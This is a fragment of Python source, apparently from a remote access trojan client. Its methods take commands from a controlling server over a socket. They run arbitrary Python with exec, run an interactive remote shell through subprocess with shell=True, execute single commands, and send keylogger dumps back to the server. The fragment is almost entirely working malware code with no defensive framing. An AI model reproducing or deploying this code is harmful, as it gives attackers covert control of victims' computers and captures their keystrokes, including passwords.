def python_interpreter(self): while True: command = self.socket.recv_json() if command["key"] == CLIENT_PYTHON_INTERPRETER_CMD: old_stdout = sys.stdout redirected_output = sys.stdout = StringIO() try: exec(command["value"]) print() error = None except Exception as e: error = f"{e.__class__.__name__}: " try: error += f"{e.args[0]}" except Exception: pass finally: sys.stdout = old_stdout if error: self.socket.sendall_json(SERVER_PYTHON_INTERPRETER_RSP, helper.decode(error.encode())) else: self.socket.sendall_json( SERVER_PYTHON_INTERPRETER_RSP, helper.decode(redirected_output.getvalue().encode())) elif command["key"] == CLIENT_PYTHON_INTERPRETER_LEAVE: break
def command_shell(self): orig_dir = os.getcwd() self.socket.send_json(SERVER_SHELL_DIR, orig_dir) while True: data = self.socket.recv_json() if data["key"] == CLIENT_SHELL_CMD: command_request = data["value"] # check for windows chdir if platforms.OS == platforms.WINDOWS and command_request[:5].lower( ) == "chdir": command_request = command_request.replace("chdir", "cd", 1) if command_request[:3].lower() == "cd ": cwd = ' '.join(command_request.split(" ")[1:]) try: command = subprocess.Popen( 'cd' if platforms.OS == platforms.WINDOWS else 'pwd', cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) except FileNotFoundError as e: self.socket.sendall_json(SERVER_COMMAND_RSP, str(e)) else: if command.stderr.read().decode( ) == "": # if there is no error output = (command.stdout.read()).decode( ).splitlines()[0] # decode and remove new line os.chdir(output) # change directory self.socket.send_json(SERVER_SHELL_DIR, os.getcwd()) else: self.socket.send_json( SERVER_COMMAND_RSP, helper.decode(command.stderr.read())) else: command = subprocess.Popen(command_request, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) output = command.stdout.read() + command.stderr.read() self.socket.sendall_json(SERVER_COMMAND_RSP, helper.decode(output)) elif data["key"] == CLIENT_SHELL_LEAVE: os.chdir(orig_dir) # change directory back to original break
def run_command(self, command): _command = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) output = _command.stdout.read() + _command.stderr.read() self.socket.sendall_json(SUCCESS, helper.decode(output))
def keylogger_dump(self): try: self.socket.sendall_json( SUCCESS, helper.decode(self.keylogger.dump_logs().encode())) except errors.ClientSocket.KeyloggerError as e: self.socket.send_json(ERROR, str(e))